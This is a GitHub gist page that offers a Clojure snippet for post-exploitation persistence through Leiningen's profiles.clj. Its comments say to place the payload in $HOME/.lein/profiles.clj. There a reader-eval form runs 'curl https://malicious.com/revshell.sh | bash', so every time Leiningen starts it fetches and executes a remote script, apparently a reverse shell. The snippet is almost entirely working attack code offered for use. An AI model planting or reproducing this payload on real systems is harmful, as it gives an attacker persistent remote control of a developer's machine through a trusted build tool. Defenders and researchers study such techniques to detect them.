Skip to content

Instantly share code, notes, and snippets.

@mthbernardes
Last active February 25, 2022 12:00
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mthbernardes/e5e23c21994289d4707d17e376e4c4cf to your computer and use it in GitHub Desktop.
Save mthbernardes/e5e23c21994289d4707d17e376e4c4cf to your computer and use it in GitHub Desktop.
persistence using Leiningen profiles.clj
;;Adding the following payload on $HOME/.lein/profiles.clj map makes Leiningen (https://leiningen.org)
;;work as a post exploitation persistence.
{:whatever-name-you-want #=(eval
(do
(use '[clojure.java.shell :only [sh]])
(require '[clojure.java.shell :as shell])
(shell/sh "bash" "-c" "curl https://malicious.com/revshell.sh | bash")))}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment